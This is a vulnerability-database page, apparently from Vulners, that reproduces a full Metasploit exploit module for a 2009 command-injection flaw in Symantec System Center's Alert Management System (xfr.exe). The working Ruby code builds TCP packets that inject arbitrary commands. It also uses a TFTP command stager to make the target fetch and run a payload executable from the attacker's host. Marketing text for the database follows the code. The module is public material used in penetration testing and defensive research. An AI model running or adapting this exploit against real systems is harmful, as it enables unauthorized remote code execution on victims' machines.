Lucene search
+L

Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution

🗓️ 28 Apr 2009 00:00:00Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 112 Views

Symantec System Center Alert Management System remote command-injection vulnerability on Window

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution',
        'Description' => %q{
          Symantec System Center Alert Management System is prone to a remote command-injection vulnerability
          because the application fails to properly sanitize user-supplied input.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-1429' ],
          [ 'BID', '34671' ],
          [ 'OSVDB', '54157' ],
          [ 'ZDI', '09-060' ],
          [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20090428_02' ]
        ],
        'Targets' => [
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ]
        ],
        'CmdStagerFlavor' => 'tftp',
        'Privileged' => true,
        'Platform' => 'win',
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-04-28',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(12174),
        OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),
      ]
    )
  end

  def windows_stager
    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
    execute_cmdstager({ temp: '.', tftphost: srvhost_addr })
    @payload_exe = generate_payload_exe

    print_status("Attempting to execute the payload...")
    execute_command(@payload_exe)
  end

  def execute_command(cmd, opts = {})
    connect

    len = 2 + cmd.length

    data = [0x00000000].pack('V')
    data << len.chr
    data << "\x00"
    data << cmd + " "
    data << "\x00"

    sock.put(data)

    res = sock.get_once

    if (!res)
      print_error("Did not received data. Failed?")
    else
      print_good("Got data, execution successful!")
    end

    disconnect
  end

  def exploit
    unless datastore['CMD'].blank?
      print_status("Executing command '#{datastore['CMD']}'")
      execute_command(datastore['CMD'])
      return
    end

    case target['Platform']
    when 'win'
      windows_stager
    else
      fail_with(Failure::Unknown, 'Target not supported.')
    end

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation